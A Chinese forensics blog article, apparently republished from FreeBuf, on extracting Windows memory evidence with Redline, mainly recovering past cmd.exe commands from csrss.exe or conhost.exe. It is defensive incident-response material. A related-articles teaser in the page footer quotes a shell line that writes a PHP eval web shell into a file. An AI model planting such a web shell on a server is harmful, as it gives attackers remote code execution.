数字取证技术 | Windows内存信息提取

0×00概述

后面会花一部分时间,写一些数字取证相关的文章。攻击技术贴多如牛毛,眼下不管是网安,还是安全厂商, 欠缺的是对取证技术的研究。

大致想了一下,主要会从以下几个方面逐一介绍吧:

- 内存 - 硬盘镜像 - 网络 - Timeline利用 - 威胁情报在取证中的作用等

0×01 windows内存取证

取证的时候为什么要做内存分析?因为在内存里面可以看到操作系统在做的几乎所有的事情。当内存块不被覆盖的情况下,很多历史信息同样被保留。主要有:

- 进程和线程 - 恶意软件,包括rootkit技术 - 网络socket,URL,IP地址等 - 被打开的文件 - 用户生成的密码,cache,剪贴板等 - 加密键值 - 硬件和软件的配置信息 - 操作系统的事件日志和注册表

有了以上这些信息,我们可以找出更多有用的信息,在本文章中, 我们就以找出系统的历史CMD命令行为例。

0×02内存的获取

基本上,都是通过工具,或者已经由系统生成的dump文件来获取其信息。当然,在虚拟环境下, 也可以通过虚拟机的镜像文件,或者快照文件获取内存信息。

0×03 内存镜像的分析

我们以Redline工具为例, 来分析一下当前内存的信息。

首先,Redline可以直接收集当前的内存信息。 也可以利用威胁情报(IoC)来搜索当前的内存信息。这里就不多介绍。

我们直接打开已经获取到的内存镜像文件:sobig.img

注意,因为本文章要获取系统的历史CMD命令, 所以需要修改一下默认分析脚本: 打开Strings参数。

完全打开之后,我们可以看到很多信息:

1. 进程和各个进程之间的父子关系。

2. 每个进程参数

3. Redline自带打分功能MRI,给每个进程打分。 恶意进程的MRI会很高,标记为红色。

4. 加载的驱动

5. Hooks

6. 根据时间生成timeline。 这个在做安全应急响应分析的时候非常重要。

图上红色的就是恶意进程。

0×04获取历史CMD命令

在windows XP下, 一般cmd.exe的历史记录存在于csrss.exe进程内。 而windows 7上,则存在于Conhost.exe进程内。

所以在这个例子中,我们可以看csrss.exe进程的具体信息

然后再选在我们之前打开的Strings参数。我们可以看到这个进程在运行过程中,一些调用的函数名称等字符。 类似通过BinText来查看一个二进制文件一样。

再通过过滤器来提取所有cmd.exe的信息, 我们就能看到, 计算机在运行的过程中所有执行过的CMD命令。

0×05总结

通过以上小例子,我们可以从内存信息里面提取一些重要的证据。如果当黑客已经攻破了内网一台主机(C&C已经建立),大多都会使用系统自带的命令来收集更多的信息,或者进一步侵入内网其他主机。

使用CMD的好处是容易隐藏自己的行为。因此,这种情况下我们可以通过类似上述手段,找到更多黑客的踪迹。

当然, 这里介绍的Redline只是其中的一个工具。 类似还有非常流行的Volatility等。在后面的文章中会有更多的介绍。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2017-03-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏.net core新时代

在线文档预览方案-office web apps

  最近在做项目时,要在手机端实现在线文档预览的功能。于是百度了一下实现方案,大致是将文档转换成pdf,然后在通过插件实现预览。这些方案没有具体实现代码,也没有...

1.7K90
来自专栏北京马哥教育

黑客常用linux入侵常用命令,有你不知道的没?

[jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog...

28030
来自专栏嵌入式程序猿

SAE J1939 协议简介(大结局)

由于应用层会根据不同的行业和需求有所不同,所以应用层的开发可以参考标准自行研究,关于这个系列,今天是最后一集,我们来讲讲 J1939的网络管理层(J1939/8...

41280
来自专栏张善友的专栏

MySQL管理工具HeidiSQL

HeidiSQL 是一个功能非常强大的 MySQL 客户端软件。它是德国程序员Ansgar Becker和几个Delphi程序员开发的一个开源工具。要通过Hei...

75080
来自专栏Jerry的SAP技术分享

Internationalization(i18n) support in SAP CRM,UI5 and Hybris

i18n(其来源是英文单词 internationalization的首末字符i和n,18为中间的字符数)是“国际化”的简称。对程序来说,在不修改内部代码的情况...

35540
来自专栏程序员同行者

esxi安装全过程及基本配置

链接: http://pan.baidu.com/s/1jIfg2yU 密码: qacv

25170
来自专栏云加头条

注意你的数据库, 可能是勒索病毒的下一个目标 !

近日,腾讯云安全中心情报侧监控显示,目前云上部分用户 MongoDB 、ElasticSearch 和 CouchDB 等 DB 服务器仍然存在的未授权安全漏...

63810
来自专栏庄进发的专栏

Nginx + Lua搭建文件上传下载服务

项目需要做一个文件上传下载服务,利用 nginx+lua 做一个代理服务,上传入口统一,分发到不同的机器存储,下载链接和物理存储隔离,支持添加 agent 的方...

3K00
来自专栏网站漏洞修补

网站漏洞修复对如何修复phpcms网站漏洞

SINE安全公司在对phpcms2008网站代码进行安全检测与审计的时候发现该phpcms存在远程代码写入缓存文件的一个SQL注入漏洞,该phpcms漏洞危害较...

27720
来自专栏walterlv - 吕毅的博客

Git 更安全的强制推送,--force-with-lease

发布于 2018-05-07 11:16 更新于 2018-09...

24820

扫码关注云+社区

领取腾讯云代金券